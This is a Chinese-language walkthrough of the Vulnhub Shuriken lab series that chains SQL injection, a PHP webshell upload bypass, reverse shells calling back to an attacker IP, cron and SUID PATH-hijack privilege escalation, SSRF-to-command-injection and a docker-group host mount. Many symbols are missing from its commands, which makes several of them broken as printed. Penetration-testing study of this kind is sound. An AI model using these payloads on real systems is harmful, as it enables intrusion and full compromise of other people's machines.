Vulnhub Shuriken系列:完整攻击链与提权路径实战复盘

发布时间:2026/10/20 5:34:29
Vulnhub Shuriken系列:完整攻击链与提权路径实战复盘
Vulnhub 上这个 Shuriken 系列在我硬盘里躺了快半年下载页面写着三台机器难度从入门到进阶递增但一直没腾出时间认真刷。这几天集中把它过了一遍从第一台的经典 Web 打点到第三台的内网横移中间踩了不少坑也改掉了我一些想当然的毛病。如果你正准备找一组可以稳定练习的靶场想从“会打单个漏洞”过渡到“会串起一条完整攻击链”这个系列是很好的训练场。这篇记录会按机器分三部分把完整的侦察、利用、提权路径和翻车点都写出来希望给正在刷或准备刷的朋友一点参考。1. 为什么值得刷这个系列三台机器的难度曲线与练习目标1.1 系列的整体画像与适合人群Shuriken 系列一共三台机器难度设计是有明显梯度的不是简单堆服务。第一台是标准的入门实战核心考点是 Web 漏洞组合利用源码信息泄露、SQL 注入、后台文件上传绕过最后用常见的 cron 脚本提权。第二台开始讲究“信息拼图”需要你从 FTP 匿名、SMB 共享、源码备份里把零散线索凑成一条完整的利用链。第三台直接上难度外面的端口看着干干净净实则藏着一条 RST API 越权到 SSRF 的横向路径最终靠 docker 组配置错误收尾。它的定位很清晰给你练“完整攻击链”的感觉。很多靶机只测单个漏洞比如你找到一个 SQL 注入注入完就算结束。但 Shuriken 不是这样它要求你拿下一个入口后继续深挖后台拿到之后要上传、上传之后要连接、连接之后要想办法提权。每一台都是整套流程这对新手建立攻击链的全局观特别有帮助对有一定经验的人也能复习一下容易被忽略的细节。我建议的练习顺序就是按它编号来不要跳。第一台建立信心第二台适应多服务联动的思路第三台再挑战嵌套场景。如果你刚做完其他简单靶机或者刚看完渗透测试理论这个系列可以作为从“懂原理”到“能跑通链路”的过渡材料。1.2 我的练习顺序与前置准备开始之前需要准备一台攻击机我用的是常见的 Kali Linux 虚拟机。靶机下载后一般给的是 OVA 或 VMDK 格式导入到虚拟机软件里就能直接跑。我个人习惯用 Host-Only 网络模式让攻击机和靶机待在同一个隔离网段这样不会跟宿主机真实网络环境冲突靶机 DHCP 分配的 IP 也相对稳定。工具方面这一路用到的东西都不花哨nmap 做端口和服务探测gobuster 或者 ffuf 跑目录sqlmap 加速注入验证Burp Suite 抓包改包加上 nc、python3 做反弹 shell最后用 john 或者 hashcat 跑弱口令。除了 sqlmap 和 Burp其他都是命令行工具没有什么冷门依赖。刷靶场之前记得把字典准备好系统自带的 rockyou.txt 就够用。2. 环境初始化网络配置、快照习惯和最容易翻车的三个细节2.1 靶机导入与网络模式选择的注意事项玩 Vulnhub 靶场环境初始化这些问题看着不起眼实际上一半的“卡关”都卡在这。第一件要注意的事是导入靶机后先看作者在下载页面写的说明里面通常会告诉你登录账号、网络模式要求偶尔还会给一点隐晦提示。Shuriken 系列的说明比较简洁但明确要求使用 Host-Only 网络。网络模式这块我常用的两种Host-Only 和 NAT。Host-Only 的特点是攻击机和靶机在同一个局域网段互相能直连但出不去外网干扰最少最推荐。NAT 模式也可以但有时宿主机防火墙会拦流量你得手动调。用 NAT 的时候靶机可能拿到 10.0.2.x 这种地址攻击机也在类似网段看起来能通但如果攻击机有多块网卡路由选择会比较别扭。我练习时的标准做法攻击机和靶机都选择相同的 Host-Only 网卡然后给攻击机手动配置一个固定的 192.168.56.x 地址。这样每次开机地址不变后面写命令、写脚本都省事。2.2 拿不到 IPArp-scan 与 DHCP 的坑靶机启动后你登录进它的终端界面通常会显示当前 IP 和登录提示但有时候只显示一个登录框IP 却看不到。如果是在 VirtualBox 类环境里最简单的办法是用 arp-scan 扫一下网段里的所有活动主机。命令大概是sudo arp-scan 192.168.56.0/24或者用 netdiscoversudo netdiscover -r 192.168.56.0/24这个阶段的坑在于如果靶机拿到了 IP但你的攻击机 ping 不通大概率不是靶机的问题而是两台虚拟机不在同一个网段或者宿主机的虚拟网卡没有启用。我在刷第二台机器的时候遇到过特别诡异的情况靶机终端显示 IP 是 192.168.56.12攻击机却怎么都 ping 不到。折腾半天发现是我之前同时开了 VMware 和 VirtualBox两个虚拟网卡都占了 192.168.56.x 网段流量走错了网卡。把不用的虚拟软件服务和网卡禁用立刻恢复正常。还有一个容易踩的如果靶机是 DHCP 获取地址重新开机后 IP 可能会变。所以刷到一半要重启靶机的话记得随时重新确认一下 IP避免拿着旧地址打半天没响应。2.3 快照习惯与回滚策略刷靶场一定要养成打快照的习惯。我的做法是固定打两个快照点第一个在拿初始 shell 之前第二个在 root 提权成功后。第一台机器的时候我没在意上传 webshell 后为了测试不同的上传绕过方式把后台目录搞乱了结果应用直接跑不起来。好在靶机可以重置不然整个流程都得重来。快照的意义不只是防手滑。像第一台那种靠 cron 定时任务的提权需要等 5 分钟生效这时候你可以先打个快照然后在快照环境里反复验证不同 payload 的效果不行就回滚再试比每次等一轮 cron 高效太多。第三台的 SSRF 链路如果某个请求把服务打崩了回滚一下就能从接口枚举重新开始。3. 第一台机器Web 入口、SQL 注入到后台 getshell 的完整链路3.1 信息收集阶段的取舍从 80 端口挖出隐藏目录第一台机器我先做了一次全端口扫描命令很简单sudo nmap -sC -sV -p- -T4 192.168.56.11结果只开了 22 和 80 两个端口。22 是 OpenSSH80 是 Apache。这种结果非常干净思路就集中在 Web 上。访问首页是一个简单的静态页面没有任何交互功能。大多数新手到这里会习惯性地直接挂目录扫描扫个大字典等半天。但我的习惯是先看页面源码这一步很多教程不会刻意强调却是真实场景里非常高频的信息泄露途径。果然首页 HTML 源码里有一行注释!-- TODO: remove /archive from production --顺着这个提示访问/archive出现一个档案管理系统功能是查询历史档案。页面里有个 search.php接收一个 id 参数。到这里入口已经拿到了。所以在这个阶段与其无脑跑大字典不如先花 30 秒看源码、看 robots.txt、看响应头往往比扫描更快也更精准。3.2 SQL 注入的验证、脱库与后台密码破解访问/archive/search.php?id1页面返回一条正常的档案记录。我手工验证的方式很简单先试id1页面出现数据库报错再试id1 and 12页面返回结果为空但没有任何报错。这两个现象足以判断存在数字型 SQL 注入。为了效率我用 sqlmap 做了脱库sqlmap -u http://192.168.56.11/archive/search.php?id1 --batch --dbs拿到一个数据库叫 shuriken_db继续看表sqlmap -u http://192.168.56.11/archive/search.php?id1 -D shuriken_db -T users --dumpusers 表里就一条管理员记录admin 用户密码是 MD5 哈希。直接跑字典rockyou.txt 就够john --wordlist/usr/share/wordlists/rockyou.txt hash.txt很快破解出来是个常见弱密码。到这里你有没有发现注入本身并不难难的是后面如何去使用这个结果。很多练习到这就停了但实际上后面的后台利用才是这台机器的重头戏。3.3 上传校验绕过与反弹 Shell 的细节用管理员账号登录后台/admin/index.php里面一个功能叫“档案图片上传”。界面让我选择图片上传但我真正想传的是 PHP 脚本。第一次直接传shell.php提示扩展名不允许。再试.png时正常上传说明有扩展名黑名单校验。检查了后台返回的校验逻辑发现拦截规则只检查扩展名是否等于.php那我换成.php5试试。果然成功上传。写入的 shell 内容很简单?php system($_GET[cmd]); ?上传后访问路径/archive/uploads/shell.php5加上 cmd 参数测试命令执行页面能返回 whoami 的结果。接着反弹 shell用最常见的 bash 反弹curl http://192.168.56.11/archive/uploads/shell.php5?cmdbash-c%27bash-i%3E%26%2Fdev%2Ftcp%2F192.168.56.1%2F12340%3E%261%27这里有第一个值得注意的细节URL 里的空格、分号、管道符都要编码不然 curl 会把命令拆开。实用做法是先写本地脚本用 python 的 urllib 做一次编码或者直接在 Burp Repeater 里改包让 Burp 帮你处理。另一边监听nc -lvnp 1234成功拿到 www-data 权限。3.4 提权利用 cron 脚本与 PATH 注入拿到 root拿到 www-data 后先看系统里有哪些计划任务cat /etc/crontab发现一条任务每隔 5 分钟以 root 身份执行/opt/backup.sh。查看脚本内容cat /opt/backup.sh脚本很简单就是打包一个目录。关键在权限ls -la /opt/backup.sh显示文件所有者是 www-data权限是 755。这意味着这个脚本虽然由 root 执行但作为 www-data 的我已经能直接改它。既然脚本可写最简单的思路就是往里面追加命令让 root 帮我们执行。我追加了一行echo cp /bin/bash /tmp/.bash chmod us /tmp/.bash /opt/backup.sh等下一轮 cron 执行完检查ls -la /tmp/.bash发现成功生成了 root 所有的 setuid bash。执行它的时候要注意/tmp/.bash -p这里的-p参数不能省。因为 bash 检测到 euid 和 ruid 不一致时默认会主动放弃 setuid 权限只有加-p才会保留。第一次刷这台机器的时候我就是忘了加参数执行完才发现权限没拿到还以为是脚本没生效。这个小坑很典型如果你在别的靶场遇到 setuid bash 也得记得这一手。拿到 root shell 后读/root/flag.txt和/home/user/flag.txt第一台通关。4. 第二台机器服务配置错误组合拳与 SUID 提权4.1 从 FTP 匿名到 SMB 备份被动收集的信息拼图第二台的扫描结果比第一台丰富很多21FTP、22SSH、80Nginx、139/445SMB。这种多服务的情况第一步肯定是去看每个服务有没有弱配置。FTP 试一下匿名登录ftp 192.168.56.12用户名填 anonymous密码随便填个邮箱就进去了。目录里有两个文件notes.txt 和 backup.zip。notes.txt 的措辞很像是管理员随手记的大意是“文件仓库最近有点乱某些服务账号的凭据被存到了不该存的地方别让人翻到备份”。这基本就是明示线索在备份里。backup.zip 不需要密码解压后是一个 web_root 目录。里面除了完整的站点源码还有一个config.php打开就能看到数据库连接信息$db[host] localhost; $db[user] shuriken; $db[pass] 某个弱口令;更关键的在解压出来的目录里有个隐藏文件.smb_creds里面写着一组 SMB 的用户名和密码。用这组凭据探测一下 SMB 共享smbclient -L 192.168.56.12 -U shuriken列出来一个名为 backup 的共享。连进去后发现是整个 Web 应用的完整源码备份连开发环境的配置文件都有。这里就能看出第二台的设计思路它不太设技术壁垒而是考察你会不会把 FTP、源码包、数据库配置、SMB 共享这些线索拼起来。如果只测单项可能拿到 FTP 匿名就不知道下一步该怎么走了。4.2 LFI 与源码审计找到命令注入点把 SMB 共享里的源码全部拖回本地开始审计。这个环节是第二台比较有意思的地方靶场上跑着的站点可能只有一部分功能但源码备份里有全部代码拿到源码等同于拿到了内部设计文档。浏览代码时发现download.php接收一个 file 参数直接拼接文件路径来读取文件且没有对../做过滤。这可以形成文件包含漏洞download.php?file../../../../etc/passwd真实场景里LFI 如果配合日志文件、/proc/self/environ之类的特殊文件可以进一步转成代码执行。但这台机器没有那么绕因为代码里还有另一个更直接的入口。打开tools.php发现它根据 action 参数执行不同功能其中 ping 功能直接把用户传入的 host 拼进了系统命令system(ping -c 4 . $_GET[host]);典型的命令注入。我手工构造tools.php?actionpinghost127.0.0.1;id页面里除了 ping 的输出还多了一段 uid 信息说明命令拼接成功。这里的教科书操作不是直接弹 shell而是先理清注入点、搞清楚命令是以什么权限执行的然后再考虑反弹。4.3 反弹 Shell 的连接稳定性处理命令注入确认后下一步是反弹 shell。这一步我要单独拿出来讲因为我在这个环节见过太多人翻车shell 是拿到了但终端乱七八糟没法用上下键没法用 vim甚至执行 su 这种需要交互的命令都卡住。原因很简单用 nc 直接监听的原始反弹 shell 没有正常的终端环境。标准补救办法是用 python 升级成交互式 shell。目标机上执行python3 -c import pty;pty.spawn(/bin/bash)然后回到攻击机的监听终端按CtrlZ把 nc 挂到后台执行stty raw -echo; fg再输入export TERMxterm。这样 shell 就有完整的终端能力了。另外在通过 URL 传递命令注入 payload 时一定注意特殊字符的编码。我第一次直接用 curl 传;和|结果命令被截断因为分号在外层就已经被解析成 curl 的参数分隔了。正确做法是用--data-urlencode或者 Burp 的编码功能把整段内层请求作为一个参数提交。4.4 SUID 程序 PATH 劫持提权的实操与误区拿到交互式 shell 之后开始找提权点。第一步是老套路find / -perm -4000 -type f 2/dev/null列出的结果里除了系统常见的 su、sudo 等以外多了一个不寻常的文件/usr/local/bin/checker。用 strings 看它内部调用了什么strings /usr/local/bin/checker | grep -E system|popen|ls|du发现这个程序会调用ls和du但调用的时候写的是相对路径。这意味着程序在执行时依赖 PATH 环境变量来找到这些命令。而 SUID 程序在运行时会继承用户当前的 PATH如果我能让它在当前目录找到恶意构造的ls它就会以 root 身份执行我的代码。实际操作分几步。先建立工作目录mkdir /tmp/exp cd /tmp/exp创建恶意lsecho #!/bin/bash ls echo /bin/sh ls chmod x ls然后把当前目录放在 PATH 的最前面再触发 checkerexport PATH/tmp/exp:$PATH /usr/local/bin/checkerchecker 内部调用ls时系统会优先找 /tmp/exp 下的这个恶意脚本。由于 checker 是 SUID root它启动的子进程也会继承有效的 root 权限结果就是直接拿到 root shell。这个过程中的几个误区很值得说。第一个误区是光创建恶意文件但忘记把目录加入 PATH那 checker 还是去 /usr/bin 找 ls你的攻击根本没触发。第二个误区是有些人直接用脚本本身做 SUID比如把恶意脚本设成 SUID这是没用的因为绝大多数 Linux 发行版会忽略脚本的 SUID 位shell 解释器不会为它保留 euid。而这里的做法是劫持 SUID 的 ELF 程序所调用的外部命令效果完全不同。第三个容易忽略的点是如果原程序用绝对路径调用/bin/ls这个办法就失效了得另找入口。这台机器的提权路线给我的感觉就是考你不会不会理解 SUID 程序的环境继承关系而不只是让你记住一条提权命令。5. 第三台机器从 REST API 越权到 SSRF 内网横移5.1 外部信息收集隐藏的 API 服务与 IDOR 枚举第三台机器的端口扫描结果比前两台都干净只看到 22、80 和 3000。80 是个普通的公司门户页面没有任何交互。3000 端口是一个返回 JSON 数据的服务访问根路径能看到 API 版本信息这明显是目标。直接访问/api/v1/users/1返回一个用户对象里面有 id、username、role 等字段。这种数字 ID 风格几乎是在提醒你试试 IDOR。我写了个循环for i in $(seq 1 20); do curl -s http://192.168.56.13:3000/api/v1/users/$i; echo; done遍历到 id9 的时候响应里出现了一个 role 为 admin 的用户对象而且多出了一个字段api_key。这属于典型的水平越权API 没有校验当前用户是否有权限访问其他用户的数据只要遍历 ID 就能拿到管理员的认证凭据。用这个 api_key 测试接口文档curl -H X-API-Key: 刚才拿到的key http://192.168.56.13:3000/api/v1/docs文档里列出的路由不少但最引人注意的是一个/api/v1/status/check接口它接收一个 url 参数描述写的是“检查远端服务状态”。这类接口如果后端自己去请求用户提供的 URL那就是 SSRF。5.2 SSRF 探测内网与数据包结构分析拿到 admin 的 api_key 之后我试着请求那个 status/check 接口curl -G http://192.168.56.13:3000/api/v1/status/check -H X-API-Key: key --data-urlencode urlhttp://127.0.0.1:8080/这里我用--data-urlencode让 curl 自动编码 url 参数避免手动处理特殊字符。响应内容不是普通的 JSON 错误而是一段 HTML里面是“内部监控系统”的登录页面。这个页面在外部扫描时根本没有暴露因为服务绑定在 127.0.0.1 上只有机器自己能访问。SSRF 的价值就在这里它不是让你多打一个端口而是让你借目标的网络视野去看那些被边界隔离的内部服务。继续探测把 url 指向http://127.0.0.1:8080/ping?host127.0.0.1响应内容里有 ping 的执行结果。这说明内部监控系统有一个类似“系统连通性检测”的功能而且它把 host 参数直接拼进了系统命令。5.3 内网管理面板的无认证命令执行内层面板存在命令注入但我们没法直接访问它只能通过外层的 SSRF 接口中转。问题就变成如何把一个带命令注入的内层请求完整地塞进外层 url 参数里。最清晰的做法是继续用 curl 的--data-urlencode让它把整个内层 URL 作为外层的一个参数值编码curl -G http://192.168.56.13:3000/api/v1/status/check -H X-API-Key: key --data-urlencode urlhttp://127.0.0.1:8080/ping?host127.0.0.1;id外层服务收到请求后解码得到完整的内层地址再去请求内层服务。内层收到 host 参数127.0.0.1;id拼进命令后执行返回结果里能看到 uid。这里最容易翻车的就是嵌套编码。如果你手动去拼 URL经常会只做一层编码结果外层服务在内层 URL 还没构造完的时候就把分号当成参数分隔符你的命令根本传不到内层。所以这种嵌套请求能用工具自动编码就别手写。确认注入成功之后反弹 shell。借助之前的交互式经验我用了一个相对简单的 payloadcurl -G http://192.168.56.13:3000/api/v1/status/check -H X-API-Key: key --data-urlencode urlhttp://127.0.0.1:8080/ping?host127.0.0.1;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.1 4444 /tmp/f攻击机监听 4444很快收到一个 shell。检查身份当前用户是 node仍属于普通用户还得继续提权。5.4 利用 docker 组配置错误直接获得 root拿到 shell 后的第一件事是看当前用户的组信息id输出里带着 docker 组的 GID。只要用户属于 docker 组就等于拿到了 root 的入场券因为 Docker 守护进程是以 root 权限运行的组内成员可以向它发送指令让它创建挂载宿主目录的容器。先看目标机上有什么镜像是能用的docker images运行着一个名为 shuriken/alpine 的镜像。接下来启动一个容器把宿主的根目录挂载进去docker run -it --rm -v /:/mnt shuriken/alpine sh进入容器后宿主机的整个文件系统都挂在 /mnt 下面。实际操作时不需要对系统做破坏性修改直接读目标文件就行cat /mnt/root/flag.txt如果愿意通过修改 /mnt/etc/passwd 或者写 crontab 也能做到完全控制宿主机但靶场练习建议只读 flag保持环境干净。docker 组为什么权限这么大很多人一开始理解不了其实道理很简单docker 的 API 允许你创建任意特权容器还能随意挂载宿主路径挂载根目录意味着你能读写宿主上的一切文件这跟有着 root 的读写能力没有区别。第三台机器到这里就通了。整条链路走下来入口是一层 REST API 的越权中间靠 SSRF 穿透网络边界提权靠一个常见的容器权限配置错误。每一步单独拆开都不算难但组合起来对思维要求就有明显提升了。6. 复盘刷完整个系列后我总结出的通用经验6.1 三台机器共同考验的核心能力刷完之后回头看这个系列最考人的地方其实不是某个漏洞利用技巧而是信息收集的耐心和链条串联的能力。三台机器的入口没有一个是大摇大摆摆在首页的第一台藏在源码注释里第二台散落在不同服务的备份文件中第三台根本没有外部入口全靠遍历 API 翻出来的。我整理了一张表方便对照复习机器入口方式主要漏洞提权手法最容易卡住的地方第一台源码注释里的隐藏目录SQL 注入 文件上传绕过可写 cron 脚本 setuid bash忘记用 -p 参数第二台FTP 匿名/SMB 共享线索拼图LFI 命令注入SUID 程序 PATH 劫持反弹 shell 交互性差、参数编码错误第三台REST API 的 IDOR 越权SSRF 穿透内网 命令注入docker 组挂载宿主目录嵌套 URL 编码、内部服务不可直连从漏洞类型看这套系列没有涉及什么花哨的 0day全是实际环境中特别常见的配置问题黑名单过滤不到位、命令拼接、SUID 权限异常、docker 组滥用、cron 脚本可写。这些问题的共同特征是只要开发或运维时对权限边界多想一步漏洞就都能避免。练习这些场景对理解“安全是配置出来的”这句话会很有感觉。6.2 我的实操习惯清单刷完整个系列后我改动最大的不是工具用法而是几个实操习惯。第一个是拿到 shell 之后第一件事永远是升级成交互式 shell 并设置 TERM否则后面跑命令、看回显都别扭尤其是遇到需要交互的提权过程体验差距极其明显。第二个习惯是及时翻历史记录和相关服务器的配置文件。第二台机器里有服务账号密码泄露第三台机器的 API key 也是通过越权拿到的这些都是线索但如果你只看端口扫描结果很难意识到它们的存在。读源码、看注释、查隐藏文件这些动作在练习里看起来费时间在真实测试里往往就是突破口。第三个习惯是全程做记录。我在刷这个系列时开了一个文本文件按照“端口、凭据、路径、时间点”这四类把所有发现记下来。三台机器信息量很大前后依赖又多光靠脑子记一定会漏。特别是第二台一条线索从 FTP 到源码包再到 SMB中间隔了大半天没有记录根本串不起来。6.3 还想继续深挖的扩展方向这个系列刷完我最大的提升是形成了“入口一定藏在某个不起眼的地方”的主动意识。接下来我想做几件事一是回头尝试手工完成第一台的 SQL 注入不依赖 sqlmap把盲注的脚本自己写一遍二是给第三台加上完全不落盘的利用方式比如不写 webshell直接靠内存执行完成后续动作三是找几台带 Windows 靶机的环境因为前面这系列全是 Linux提权思路差异很大Windows 服务、令牌、权限模型完全是另一套玩法。最后再分享一个我练完才缓过神来的体会这个系列每台机器都在逼我在某个环节慢下来。第一台逼我别一眼扫完就放弃源码第二台逼我把拿到的东西当成线索而不是终点第三台逼我在嵌套请求里一层一层拆开看。刷题这件事慢就是快花在环境和信息上的时间最后都会变成拿到 shell 的速度。